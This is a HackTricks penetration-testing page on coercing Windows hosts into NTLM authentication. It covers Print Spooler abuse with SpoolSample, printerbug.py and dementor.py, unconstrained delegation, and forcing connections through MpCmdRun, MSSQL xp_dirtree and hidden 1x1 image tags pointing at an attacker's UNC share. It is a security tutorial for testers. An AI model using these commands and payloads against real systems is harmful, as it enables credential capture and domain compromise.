hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
2022-08-31 23:27:46 +00:00

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Force NTLM Privileged Authentication

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SharpSystemTriggers

****SharpSystemTriggers is a collection of remote authentication triggers coded in C# using MIDL compiler for avoiding 3rd party dependencies.

Spooler Service Abuse

If the Print Spooler service is enabled, you can use some already known AD credentials to request to the Domain Controllers print server an update on new print jobs and just tell it to send the notification to some system.
Note when printer send the notification to an arbitrary systems, it needs to authenticate against that system. Therefore, an attacker can make the Print Spooler service authenticate against an arbitrary system, and the service will use the computer account in this authentication.

Finding Windows Servers on the domain

Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Finding Spooler services listening

Using a slightly modified @mysmartlogin's (Vincent Le Toux's) SpoolerScanner, see if the Spooler Service is listening:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Ask the service to authenticate against an arbitrary host

You can compile SpoolSample from here.

SpoolSample.exe <TARGET> <RESPONDERIP>

or use 3xocyte's dementor.py or printerbug.py if you're on Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combining with Unconstrained Delegation

If an attacker has already compromised a computer with Unconstrained Delegation, the attacker could make the printer authenticate against this computer. Due to the unconstrained delegation, the TGT of the computer account of the printer will be saved in the memory of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to retrieve this ticket and abuse it (Pass the Ticket).

RCP Force authentication

{% embed url="https://github.com/p0dalirius/Coercer" %}

Inside Windows

If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

HTML injection

Via email

If you know the email address of the user that logs inside a machine you want to compromise, you could just send him an email with a 1x1 image such as

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

and when he opens it, he will try to authenticate.

MitM

If you can perform a MitM attack to a computer and inject HTML in a page he will visualize you could try injecting an image like the following in the page:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Cracking NTLMv1

If you can capture NTLMv1 challenges read here how to crack them.
Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.